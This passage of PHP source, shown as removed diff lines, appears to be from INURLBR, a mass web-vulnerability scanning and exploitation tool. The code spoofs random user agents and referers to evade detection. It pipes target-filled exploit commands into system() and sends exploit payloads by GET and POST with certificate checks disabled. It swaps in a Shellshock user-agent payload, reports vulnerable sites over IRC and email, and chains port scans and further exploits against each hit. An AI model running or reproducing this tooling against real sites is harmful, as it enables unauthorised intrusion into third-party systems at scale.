'xml', 'rss'); - - $pasta = array('App_Files', 'Assets', 'CFFileServlet', 'CFIDE', 'Communication', 'Computers', 'CoreAdminHome', 'CoreHome', 'Crawler', 'Creator', - 'DECOM', 'Dashboard', 'Drives', 'Dynamic', 'FCKeditor', 'Feedback', 'Files', 'Flash', 'Forms', 'Help', 'ICEcore', 'IO', 'Image', 'JPG', 'getold', - 'JSP', 'KFSI', 'Laguna', 'Login', 'Motors', 'MultiSites', 'NR', 'OCodger', 'RSS', 'Safety', 'Smarty', 'Software', 'Static', 'Stress', 'getfull', - 'Sugarcrm', 'Travel', 'UPLOAD', 'Urussanga', 'UserFiles', '__tpl', '_fckeditor', '_info', '_machine', '_plugins', '_sample', '_samples', 'postmost', - '_source', '_testcases', 'aaa', 'abelardoluz', 'aberlardoluz', 'aborto', 'about', 'aboutus', 'abuse', 'abusers', 'ac_drives', 'acabamentos', 'mail', - 'academias', 'acao', 'acartpro', 'acatalog', 'acc', 'acc_auto_del', 'acc_beep_ken', 'acc_beep_time', 'acc_ch_mail', 'acc_fc_prsc', 'accounts', 'validar', - 'acc_html_mark', 'acc_html_rand', 'acc_lan_page', 'acc_pic_html', 'acc_profol', 'acc_soft_link', 'acc_ssd_page', 'acc_syun_ei', 'german', 'intranet', 'old', - 'acc_time_go', 'acc_wbcreator', 'accept', 'accepted', 'acceso', 'access', 'accessibility', 'accessories', 'acciones', 'acclg', 'account', 'paste', 'paste22', - 'acessorios', 'acontece', 'acougueiro', 'acoustic', 'act', 'action', 'activate', 'active', 'activeden', 'activism', 'actualit', 'actuators', 'ad', 'informatica', - 'ad_division', 'ad_rate', 'adapter', 'adapters', 'adaptive', 'adaptivei', 'adatmentes', 'adbanner', 'adblock', 'adboard', 'adclick', 'add-ons', 'add', 'delete', - 'added', 'addon', 'address', 'adduser', 'adfree', 'adhoc', 'adinfo', 'adios_papa', 'adlink', 'adlinks', 'acc_folder_vw', 'acc_syun_su', - ); - - $locais = array('ac', 'ad', 'ae', 'af', 'ag', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'as', 'at', 'au', 'aw', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'bj', 'bm', 'bn', - 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'bo', 'br', - 'ec', 'ee', 'eg', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gp', 'gq', 'gr', 'bs', 'bt', - 'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'bv', - 'kh', 'ki', 'km', 'kn', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mk', 'ml', - 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'nb', 'nc', 'ne', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', - 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', - 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'ss', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tr', 'tt', 'tv', - 'tw', 'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'ye', 'yt', 'yu', 'za', 'zm', 'zw', 'ai', - ); - return "http://www." . strtolower($dominio[rand(0, count($dominio) - 1)]) . ".{$gTLD[rand(0, count($gTLD) - 1)]}.{$locais[rand(0, count($locais) - 1)]}/{$pasta[rand(0, count($pasta) - 1)]}/{$arquivo[rand(0, count($arquivo) - 1)]}.{$ext[rand(0, count($ext) - 1)]}"; -} - -################################################################################ -#GENERATE AGENT BROWSER random################################################## -################################################################################ - -function __setUserAgentRandom() { - - $agentBrowser = array('Firefox', 'Safari', 'Opera', 'Flock', 'Internet Explorer', 'Seamonkey', 'Tor Browser', 'GNU IceCat', 'CriOS', 'TenFourFox', - 'SeaMonkey', 'B-l-i-t-z-B-O-T', 'Konqueror', 'Mobile', 'Konqueror', 'Netscape', 'Chrome', 'Dragon', 'SeaMonkey', 'Maxthon', 'IBrowse', - 'K-Meleon', 'GoogleBot', 'Konqueror', 'Minimo', 'Googlebot', 'WeltweitimnetzBrowser', 'SuperBot', 'TerrawizBot', 'YodaoBot', 'Wyzo', 'Grail', - 'PycURL', 'Galaxy', 'EnigmaFox', '008', 'ABACHOBot', 'Bimbot', 'Covario IDS', 'iCab', 'KKman', 'Oregano', 'WorldWideWeb', 'Wyzo', 'GNU IceCat', - 'Vimprobable', 'uzbl', 'Slim Browser', 'Flock', 'OmniWeb', 'Rockmelt', 'Shiira', 'Swift', 'Pale Moon', 'Camino', 'Flock', 'Galeon', 'Sylera' - ); - - $agentSistema = array('Windows 3.1', 'Windows 95', 'Windows 98', 'Windows 2000', 'Windows NT', 'Linux 2.4.22-10mdk', 'FreeBSD', - 'Windows XP', 'Windows Vista', 'Redhat Linux', 'Ubuntu', 'Fedora', 'AmigaOS', 'BackTrack Linux', 'iPad', 'BlackBerry', 'Unix', - 'CentOS Linux', 'Debian Linux', 'Macintosh', 'Android', 'iPhone', 'Windows NT 6.1', 'BeOS', 'OS 10.5', 'Nokia', 'Arch Linux', - 'Ark Linux', 'BitLinux', 'Conectiva (Mandriva)', 'CRUX Linux', 'Damn Small Linux', 'DeLi Linux', 'Ubuntu', 'BigLinux', 'Edubuntu', - 'Fluxbuntu', 'Freespire', 'GNewSense', 'Gobuntu', 'gOS', 'Mint Linux', 'Kubuntu', 'Xubuntu', 'ZeVenOS', 'Zebuntu', 'DemoLinux', - 'Dreamlinux', 'DualOS', 'eLearnix', 'Feather Linux', 'Famelix', 'FeniX', 'Gentoo', 'GoboLinux', 'GNUstep', 'Insigne Linux', - 'Kalango', 'KateOS', 'Knoppix', 'Kurumin', 'Dizinha', 'TupiServer', 'Linspire', 'Litrix', 'Mandrake', 'Mandriva', 'MEPIS', - 'Musix GNU Linux', 'Musix-BR', 'OneBase Go', 'openSuSE', 'pQui Linux', 'PCLinuxOS', 'Plaszma OS', 'Puppy Linux', 'QiLinux', - 'Red Hat Linux', 'Red Hat Enterprise Linux', 'CentOS', 'Fedora', 'Resulinux', 'Rxart', 'Sabayon Linux', 'SAM Desktop', 'Satux', - 'Slackware', 'GoblinX', 'Slax', 'Zenwalk', 'SuSE', 'Caixa Mágica', 'HP-UX', 'IRIX', 'OSF/1', 'OS-9', 'POSYS', 'QNX', 'Solaris', - 'OpenSolaris', 'SunOS', 'SCO UNIX', 'Tropix', 'EROS', 'Tru64', 'Digital UNIX', 'Ultrix', 'UniCOS', 'UNIflex', 'Microsoft Xenix', - 'z/OS', 'Xinu', 'Research Unix', 'InfernoOS' - ); - - $locais = array('cs-CZ', 'en-US', 'sk-SK', 'pt-BR', 'sq_AL', 'sq', 'ar_DZ', 'ar_BH', 'ar_EG', 'ar_IQ', 'ar_JO', - 'ar_KW', 'ar_LB', 'ar_LY', 'ar_MA', 'ar_OM', 'ar_QA', 'ar_SA', 'ar_SD', 'ar_SY', 'ar_TN', 'ar_AE', 'ar_YE', 'ar', - 'be_BY', 'be', 'bg_BG', 'bg', 'ca_ES', 'ca', 'zh_CN', 'zh_HK', 'zh_SG', 'zh_TW', 'zh', 'hr_HR', 'hr', 'cs_CZ', 'cs', - 'da_DK', 'da', 'nl_BE', 'nl_NL', 'nl', 'en_AU', 'en_CA', 'en_IN', 'en_IE', 'en_MT', 'en_NZ', 'en_PH', 'en_SG', 'en_ZA', - 'en_GB', 'en_US', 'en', 'et_EE', 'et', 'fi_FI', 'fi', 'fr_BE', 'fr_CA', 'fr_FR', 'fr_LU', 'fr_CH', 'fr', 'de_AT', 'de_DE', - 'de_LU', 'de_CH', 'de', 'el_CY', 'el_GR', 'el', 'iw_IL', 'iw', 'hi_IN', 'hu_HU', 'hu', 'is_IS', 'is', 'in_ID', 'in', 'ga_IE', - 'ga', 'it_IT', 'it_CH', 'it', 'ja_JP', 'ja_JP_JP', 'ja', 'ko_KR', 'ko', 'lv_LV', 'lv', 'lt_LT', 'lt', 'mk_MK', 'mk', 'ms_MY', - 'ms', 'mt_MT', 'mt', 'no_NO', 'no_NO_NY', 'no', 'pl_PL', 'pl', 'pt_PT', 'pt', 'ro_RO', 'ro', 'ru_RU', 'ru', 'sr_BA', 'sr_ME', - 'sr_CS', 'sr_RS', 'sr', 'sk_SK', 'sk', 'sl_SI', 'sl', 'es_AR', 'es_BO', 'es_CL', 'es_CO', 'es_CR', 'es_DO', 'es_EC', 'es_SV', - 'es_GT', 'es_HN', 'es_MX', 'es_NI', 'es_PA', 'es_PY', 'es_PE', 'es_PR', 'es_ES', 'es_US', 'es_UY', 'es_VE', 'es', 'sv_SE', - 'sv', 'th_TH', 'th_TH_TH', 'th', 'tr_TR', 'tr', 'uk_UA', 'uk', 'vi_VN', 'vi' - ); - return $agentBrowser[rand(0, count($agentBrowser) - 1)] . '/' . rand(1, 20) . '.' . rand(0, 20) . ' (' . $agentSistema[rand(0, count($agentSistema) - 1)] . ' ' . rand(1, 7) . '.' . rand(0, 9) . '; ' . $locais[rand(0, count($locais) - 1)] . ';)'; -} - -################################################################################ -#RESPONSIBLE FOR RUN COMMANDS IN TERMINAL the installation of facilities######## -################################################################################ - -function __installDepencia() { - - echo __bannerlogo() . __plus(); - echo "\n{$_SESSION["c15"]}|_[ * ]__{$_SESSION["c0"]}\n"; - echo " {$_SESSION["c15"]}|[EXTERNAL COMMAND INSTALLING PREMISES ]:: {$_SESSION["c11"]}\n"; - $dados = system("sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl", $dados) . __plus(); - sleep(1) . __plus(); - echo "{$_SESSION["c0"]}"; - if (empty($dados)) { - - return FALSE; - } - unset($dados); - exit(); -} - -################################################################################ -#RESPONSIBLE FOR RUN COMMANDS IN TERMINAL####################################### -################################################################################ - -function __command($commando, $alvo) { - - if (!is_null($commando)) { - - (strstr($commando, '_TARGET_') || - strstr($commando, '_TARGETFULL_') || - strstr($commando, '_TARGETIP_') || - strstr($commando, '_EXPLOIT_') || - strstr($commando, '_URI_') || - strstr($commando, '_URI_') || - strstr($commando, '_PORT_') || - strstr($commando, '_RANDOM_') ? NULL : - __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c2"]}SET PARAMETER - command correctly{$_SESSION["c0"]}\n")); - - $uri = parse_url($alvo['url_xpl']); - - $command[0] = str_replace("_TARGET_", "{$_SESSION["c8"]}" . __filterHostname($alvo['url_xpl']) . "{$_SESSION["c1"]}", $commando); - $command[0] = str_replace('_TARGETIP_', "{$_SESSION["c9"]}{$_SESSION['config']['server_ip']}{$_SESSION["c1"]}", $command[0]); - $command[0] = str_replace('_TARGETFULL_', "{$_SESSION["c14"]}{$alvo['url_clean']}{$_SESSION["c1"]}", $command[0]); - $command[0] = str_replace('_TARGETXPL_', "{$_SESSION["c14"]}{$alvo['url_xpl']}{$_SESSION["c1"]}", $command[0]); - $command[0] = str_replace("_EXPLOIT_", "{$_SESSION["c6"]}{$_SESSION['config']['exploit-command']}{$_SESSION["c1"]}", $command[0]); - $command[0] = str_replace('_URI_', "{$_SESSION["c8"]}{$uri['path']}{$_SESSION["c1"]}", $command[0]); - $command[0] = str_replace('_PORT_', "{$_SESSION["c9"]}{$alvo['url_port']}{$_SESSION["c1"]}", $command[0]); - $command[0] = str_replace('_RANDOM_', "{$_SESSION["c15"]}" . random(5) . "{$_SESSION["c1"]}", $command[0]); - - $command[0] = __crypt($command[0]); - - $command[1] = str_replace("_TARGET_", __filterHostname($alvo['url_clean']), $commando); - $command[1] = str_replace('_TARGETIP_', $_SESSION['config']['server_ip'], $command[1]); - $command[1] = str_replace('_TARGETFULL_', $alvo['url_clean'], $command[1]); - $command[1] = str_replace('_TARGETXPL_', $alvo['url_xpl'], $command[1]); - $command[1] = str_replace("_EXPLOIT_", $_SESSION['config']['exploit-command'], $command[1]); - $command[1] = str_replace("_URI_", $uri['path'], $command[1]); - $command[1] = str_replace("_PORT_", $alvo['url_port'], $command[1]); - $command[1] = str_replace("_RANDOM_", random(5), $command[1]); - $command[1] = str_replace("\n", '', str_replace("\r", '', $command[1])); - - $command[1] = __crypt($command[1]); - - echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; - echo " |[ EXTERNAL COMMAND ]:: {$command[0]}{$_SESSION["c11"]}\n"; - $_ = array(0 => ($_SESSION['config']['popup']) ? 'sudo xterm -geometry 134x50+1900+0 -title "Auxiliary Window - INURLBR / COMMAND" -e ' : NULL, 1 => ($_SESSION['config']['popup']) ? ' > /dev/null &' : NULL); - echo ($_SESSION['config']['popup'] ? "\t[!] opening auxiliary window...\n" : NULL); - $dados = system($_[0] . $command[1] . $_[1], $dados); - sleep(1) . __plus(); - - echo $_SESSION["c0"]; - } - if (empty($dados[0])) { - - return FALSE; - } - unset($dados); -} - -################################################################################ -#FILTER BY TAKING ONLY RESPONSIBLE URL HOSTNAME################################# -################################################################################ - -function __filterHostname($url) { - - $alvo_ = NULL; - //#\b((((ht|f)tps?://*)|(www|ftp)\.)[a-zA-Z0-9-\.]+)#i - 1.0 - preg_match_all('@^(?:(ht|f)tps?://*)?([^/]+)@i', $url, $alvo_); - return str_replace("/", '', str_replace("ftps:", '', str_replace("ftp:", '', str_replace("https:", '', str_replace("http:", '', $alvo_[0][0]))))); -} - -################################################################################ -#RESPONSIBLE FOR ALL REQUESTS GET / POST THE SCRIPT############################# -################################################################################ -/* - curl_multi_init — Returns a new cURL multi handle - (PHP 5) http://php.net/manual/en/function.curl-multi-init.php - */ - -function __request_info($url_, $proxy = NULL, $postDados = NULL) { - - $url_ = __crypt($url_); - $mh = curl_multi_init(); - $curl_array = array(); - $nodes = is_array($url_) ? $url_ : array($url_); - - foreach ($nodes as $i => $url) { - - $curl_array[$i] = curl_init($url); - - __plus(); - - //FORMATANDO POST & EXECUTANDO urlencode EM CADA VALOR DO POST. - if (not_isnull_empty($postDados) && is_array($postDados)) { - - foreach ($postDados as $campo => $valor) { - - $postDados_format .= "{$campo}=" . urlencode($valor) . '&'; - } - - $postDados_format = rtrim($postDados_format, '&'); - curl_setopt($curl_array[$i], CURLOPT_POST, count($postDados)); - curl_setopt($curl_array[$i], CURLOPT_POSTFIELDS, __crypt($postDados_format)); - } - - curl_setopt($curl_array[$i], CURLOPT_HTTPHEADER, array_merge(not_isnull_empty($_SESSION['config']['http-header']) ? - explode(',', __crypt($_SESSION['config']['http-header'])) : array(), array("Cookie: disclaimer_accepted=true"))); - curl_setopt($curl_array[$i], CURLOPT_USERAGENT, (not_isnull_empty($_SESSION['config']['user-agent'])) ? - __crypt($_SESSION['config']['user-agent']) : __setUserAgentRandom()); - curl_setopt($curl_array[$i], CURLOPT_REFERER, (not_isnull_empty($_SESSION['config']['url-reference'])) ? - __crypt($_SESSION['config']['url-reference']) : __setURLReferenceRandom()); - - (!is_null($proxy) ? curl_setopt($curl_array[$i], CURLOPT_PROXY, $proxy) : NULL); - (!is_null($_SESSION['config']['verifica_info'])) ? curl_setopt($curl_array[$i], CURLOPT_HEADER, 1) : NULL; - (!is_null($_SESSION['config']['verifica_info']) && __validateOptions('3,6', $_SESSION['config']['debug']) ? - curl_setopt($curl_array[$i], CURLOPT_VERBOSE, 1) : NULL); - - __plus(); - curl_setopt($curl_array[$i], CURLOPT_SSL_VERIFYPEER, 0); - curl_setopt($curl_array[$i], CURLOPT_SSL_VERIFYHOST, 0); - curl_setopt($curl_array[$i], CURLOPT_FRESH_CONNECT, 1); - curl_setopt($curl_array[$i], CURLOPT_RETURNTRANSFER, 1); - - curl_setopt($curl_array[$i], CURLOPT_CONNECTTIMEOUT, not_isnull_empty($_SESSION['config']['time-out']) ? - $_SESSION['config']['time-out'] : 5); - - curl_setopt($curl_array[$i], CURLOPT_TIMEOUT, not_isnull_empty($_SESSION['config']['time-out']) ? - $_SESSION['config']['time-out'] : 5); - - curl_setopt($curl_array[$i], CURLOPT_COOKIEFILE, not_isnull_empty($_SESSION['config']['file-cookie']) ? - $_SESSION['config']['file-cookie'] : 'cookie.txt'); - - curl_setopt($curl_array[$i], CURLOPT_COOKIEJAR, not_isnull_empty($_SESSION['config']['file-cookie']) ? - $_SESSION['config']['file-cookie'] : 'cookie.txt'); - - curl_multi_add_handle($mh, $curl_array[$i]); - } - $running = NULL; - do { - - usleep(100); - curl_multi_exec($mh, $running); - } while ($running > 0); - $ret = array(); - foreach ($nodes as $i => $url) { - - $ret[0] = curl_multi_getcontent($curl_array[$i]); - $ret[1] = curl_getinfo($curl_array[$i]); - $ret[2] = curl_error($curl_array[$i]); - } - foreach ($nodes as $i => $url) { - curl_multi_remove_handle($mh, $curl_array[$i]); - } - - $status = NULL; - preg_match_all('(HTTP.*)', $ret[0], $status['http']); - preg_match_all('(Server:.*)', $ret[0], $status['server']); - preg_match_all('(X-Powered-By:.*)', $ret[0], $status['X-Powered-By']); - - __plus(); - $ret[3] = str_replace("\r", '', str_replace("\n", '', "{$status['http'][0][0]}, {$status['server'][0][0]} {$status['X-Powered-By'][0][0]}")); - __debug(array('debug' => "[ BODY ]{$ret[0]}", 'function' => '__request_info'), 4); - - __plus(); - __debug(array('debug' => "[ URL ]{$url_}", 'function' => '__request_info'), 2); - - __plus(); - curl_multi_close($mh) . unlink('cookie.txt'); - - __plus(); - unset($curl_array); - return isset($ret[0]) ? array('corpo' => $ret[0], 'server' => $ret[1], 'error' => $ret[2], 'info' => $ret[3]) : FALSE; -} - -################################################################################ -#CAPTURE INFORMATION SERVER AND VALIDATE FAULTS################################# -################################################################################ - -function __infoServer($url_, $postDados = NULL) { - - __plus(); - $_SESSION['config']['verifica_info'] = 1; - $resultado = __request_info($url_, $_SESSION["config"]["proxy"], $postDados); - __plus(); - if (isset($resultado['corpo'])) { - if (!is_null($_SESSION['config']['extrai-email'])) { - - __plus(); - return __extractEmail($resultado['corpo'], $url_); - } - - if (!is_null($_SESSION['config']['extrai-url'])) { - - __plus(); - return __extractURLs($resultado['corpo'], $url_); - } - - if (not_isnull_empty($_SESSION['config']['regexp-filter'])) { - - __plus(); - return __extractRegCustom($resultado['corpo'], $url_); - } - - if (not_isnull_empty($_SESSION['config']['target']) && $_SESSION['config']['tipoerro'] == 5) { - - __plus(); - return __checkURLs($resultado, $url_); - } - - $ifcode = not_isnull_empty($_SESSION['config']['ifcode']) && - strstr($resultado['server']['http_code'], $_SESSION['config']['ifcode']) ? - "CODE_HTTP_FOUND: {$_SESSION['config']['ifcode']} / " : NULL; - - - $ifredirect = not_isnull_empty($_SESSION['config']['ifredirect']) && - (strstr($resultado['server']['redirect_url'], $_SESSION['config']['ifredirect'])) ? - 'VALUE URL REDIRECT FOUND' : NULL; - - $_SESSION['config']['erroReturn'] = $ifredirect . $ifcode . __checkError($resultado['corpo']); - __plus(); - $_SESSION['config']['curl_getinfo'] = $resultado['server']; - $_SESSION['config']['error_conection'] = (not_isnull_empty($resultado['error']) ? $resultado['error'] : NULL); - $_SESSION['config']['server_ip'] = (!is_null($resultado['server']['primary_ip']) ? $resultado['server']['primary_ip'] : NULL); - $_SESSION['config']['vull_style'] = (not_isnull_empty($_SESSION['config']['erroReturn'])) ? - "{$_SESSION["c4"]}( POTENTIALLY VULNERABLE ){$_SESSION["c0"]} \033[1m \033[32m" . __cli_beep() : NULL; - $_SESSION['config']['resultado_valores'].=(not_isnull_empty($_SESSION['config']['erroReturn'])) ? "{$url_}\n" : NULL; - __plus(); - $url_ = ($_SESSION['config']['alexa-rank']) ? ", RANK ALEXA: " . __positionAlexa($url_) : NULL; - __plus(); - $_SESSION['config']['info_ip'] = __infoIP($resultado['server']['primary_ip'], 1); - __plus(); - } else { - return FALSE; - } - __plus(); - - return "{$resultado['info']}, IP:{$resultado['server']['primary_ip']}:{$resultado['server']['primary_port']} {$url_}"; -} - -################################################################################ -#ERROR MAIN PROCESS RESPONSIBLE FOR ALL VALIDATION OF MOTOR##################### -################################################################################ - -function __processUrlExec($url, $contUrl) { - - __plus(); - if (is_null($url) || empty($url)) { - - return FALSE; - } - - $host = (!is_null($_SESSION['config']['replace'])) ? - __replace($_SESSION['config']['replace'], urldecode($_SESSION['config']['tipoerro'] == 3 ? __filterHostname($url) : ($url))) : - urldecode($_SESSION['config']['tipoerro'] == 3 ? __filterHostname($url) : ($url)); - - $target_['url_xpl'] = __remove($_SESSION['config']['remove'], __mountURLExploit(!is_null($_SESSION['config']['url']) ? $_SESSION['config']['url'] . $host : $host)); - $info = __infoServer($target_['url_xpl'], $_SESSION['config']['exploit-post']); - $target_['url_clean'] = ($_SESSION['config']['tipoerro'] == 4) ? $_SESSION['config']['url'] . $host : urldecode($url); - - __plus(); - - if ($_SESSION['config']['tipoerro'] != 5 && is_null($_SESSION['config']['extrai-email']) && - is_null($_SESSION['config']['extrai-url']) && is_null($_SESSION['config']['regexp-filter'])) { - - $ifredirect = strstr($_SESSION['config']['curl_getinfo']['redirect_url'], $_SESSION['config']['ifredirect']) ? - "{$_SESSION["c4"]}{$_SESSION['config']['curl_getinfo']['redirect_url']}" : NULL; - $exget = (not_isnull_empty($_SESSION['config']['exploit-get']) ? ' _/GET=> ' . $_SESSION['config']['exploit-get'] : NULL); - $expost = (not_isnull_empty($_SESSION['config']['exploit-post']) ? ' _/POST=> ' . $_SESSION['config']['exploit-post_str'] : NULL); - $valid_return = (not_isnull_empty($_SESSION['config']['erroReturn'])) ? TRUE : FALSE; - $info = ($valid_return) ? "{$_SESSION["c4"]}{$info}" : $info; - $target_ip = ($valid_return) ? "{$_SESSION["c4"]}{$_SESSION['config']['info_ip']}" : $_SESSION['config']['info_ip']; - - $anime = ($valid_return) ? '[ ! ]' : '[ - ]'; - echo __plus() . "\n"; - - echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; - echo "{$_SESSION["c1"]}|_[ + ] [{$_SESSION["c1"]} {$contUrl} / {$_SESSION['config']['total_url']} {$_SESSION["c1"]}]{$_SESSION["c9"]}-[" . date("H:i:s") . "]{$_SESSION["c1"]} {$anime} {$_SESSION["c0"]}\n"; - echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Target:: {$_SESSION["c1"]}[{$_SESSION["c9"]} {$_SESSION['config']['vull_style']}{$target_['url_clean']}{$_SESSION["c1"]} ]{$_SESSION["c0"]}\n"; - echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Exploit:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$exget}{$expost}{$_SESSION["c0"]}\n"; - echo (not_isnull_empty($_SESSION['config']['replace'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Replace:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['replace']}{$_SESSION["c0"]}\n") : NULL; - echo (not_isnull_empty($_SESSION['config']['remove'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Remove:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['remove']}{$_SESSION["c0"]}\n") : NULL; - echo (isset($_SESSION['config']['cms-check-resultado'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}CMS check:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['cms-check-resultado']}{$_SESSION["c0"]}\n") : NULL; - echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Information Server:: {$_SESSION["c0"]}{$_SESSION["c9"]}{$info}{$_SESSION["c1"]}\n"; - echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}More details:: {$_SESSION["c0"]}{$_SESSION["c9"]}{$target_ip}{$_SESSION["c1"]}\n"; - echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Found:: {$_SESSION["c9"]}" . ($valid_return ? "{$_SESSION["c4"]}{$_SESSION['config']['erroReturn']}" : "UNIDENTIFIED") . "{$_SESSION["c0"]}"; - echo (not_isnull_empty($ifredirect) ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}URL REDIRECT:: {$_SESSION["c9"]}{$ifredirect}{$_SESSION["c0"]}" : NULL); - echo (not_isnull_empty($_SESSION['config']['error_conection']) ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}ERROR CONECTION:: {$_SESSION["c2"]}{$_SESSION['config']['error_conection']}{$_SESSION["c0"]}" : NULL); - ($valid_return ? __saveValue($_SESSION['config']['arquivo_output'], $target_['url_xpl'], 1) : NULL); - echo ($_SESSION['config']['sendmail'] ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}SEND MAIL:: {$_SESSION["c9"]}" . (($valid_return) ? "{$_SESSION["c4"]}" : NULL) . __sendMail($_SESSION['config']['sendmail'], $target_['url_xpl']) . "{$_SESSION["c0"]}" : NULL); - (not_isnull_empty($_SESSION['config']['arquivo_output_all']) ? __saveValue($_SESSION['config']['arquivo_output_all'], $target_['url_xpl'], NULL) : NULL); - __plus(); - - if ($valid_return) { - - (not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ? - __ircMsg($_SESSION['config']['irc'], "{$_SESSION['config']['erroReturn']}::: {$target_['url_xpl']}") : NULL); - __plus(); - - (not_isnull_empty($_SESSION['config']['command-vul']) ? __command($_SESSION['config']['command-vul'], $target_) : NULL); - __plus(); - - (not_isnull_empty($_SESSION['config']['exploit-vul-id']) ? - __configExploitsExec($_SESSION['config']['exploit-vul-id'], $target_) : NULL); - __plus(); - } - - (not_isnull_empty($_SESSION['config']['command-all']) ? __command($_SESSION['config']['command-all'], $target_) : NULL); - __plus(); - - (not_isnull_empty($_SESSION['config']['sub-file']) && - is_array($_SESSION['config']['sub-file']) ? __subExecExploits($target_['url_xpl'], $_SESSION['config']['sub-file']) : NULL); - __plus(); - - (not_isnull_empty($_SESSION['config']['exploit-all-id']) ? __configExploitsExec($_SESSION['config']['exploit-all-id'], $target_) : NULL); - __plus(); - - ($_SESSION['config']['robots'] ? __getValuesRobots($host) : NULL); - __plus(); - - (not_isnull_empty($_SESSION['config']['port-scan']) ? __portScan(array(0 => $target_, 1 => $_SESSION['config']['port-scan'])) : NULL); - __plus(); - - __timeSec('delay', "\n"); - } -} - -################################################################################ -#PRINT MESSAGE AND OUT OF THE PROCESS########################################### -################################################################################ - -function __getOut($msg) { - __ircQuit($_SESSION['config']['irc']); - print_r($msg); - exit(1); -} - -################################################################################ -#ERROR MAIN PROCESS RESPONSIBLE FOR ALL VALIDATION OF ENGINE#################### -################################################################################ - -function __process($resultadoURL) { - - __plus(); - $resultadoURL[0] = (is_array($resultadoURL) ? array_unique(array_filter($resultadoURL)) : $resultadoURL); - $resultadoURL[0] = ($_SESSION['config']['unique'] ? __filterDomainUnique($resultadoURL[0]) : $resultadoURL[0]); - - $resultadoURL[0] = (not_isnull_empty($_SESSION['config']['ifurl']) ? __filterURLif($resultadoURL[0]) : $resultadoURL[0]); - $_SESSION['config']['total_url'] = count($resultadoURL[0]); - - echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c12"]}[ TOTAL FOUND VALUES ]::{$_SESSION["c1"]} [ {$_SESSION['config']['total_url']} ]{$_SESSION["c0"]}\n"; - __debug(array('debug' => $resultadoURL[0], 'function' => '__process'), 3); - - if (count($resultadoURL[0]) > 0) { - - $_SESSION['config']['irc']['irc_connection'] = (not_isnull_empty($_SESSION['config']['irc']['conf']) ? __ircConect($_SESSION['config']['irc']) : NULL); - $_SESSION['config']['irc']['my_fork'] = pcntl_fork(); - - if ($_SESSION['config']['irc']['my_fork'] == 0) { - - (not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ? __ircPong($_SESSION['config']['irc']) : NULL); - exit(0); - } else if ($_SESSION['config']['irc']['my_fork'] == -1) { - - __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}ERROR Fork failed{$_SESSION["c0"]}\n"); - } - - $_SESSION['config']['user-agent'] = ($_SESSION['config']['shellshock']) ? $_SESSION['config']['user_agent_xpl'] : $_SESSION['config']['user-agent']; - foreach ($resultadoURL[0] as $url) { - - __plus(); - $url = urldecode(not_isnull_empty($_SESSION['config']['target']) ? - $_SESSION['config']['target'] . $url : $url); - - if (__validateURL($url) || not_isnull_empty($_SESSION['config']['abrir-arquivo'])) { - - __processUrlExec(__filterURLTAG($url), $_SESSION["config"]["contUrl"] ++); - __plus(); - } - } - } else { - - 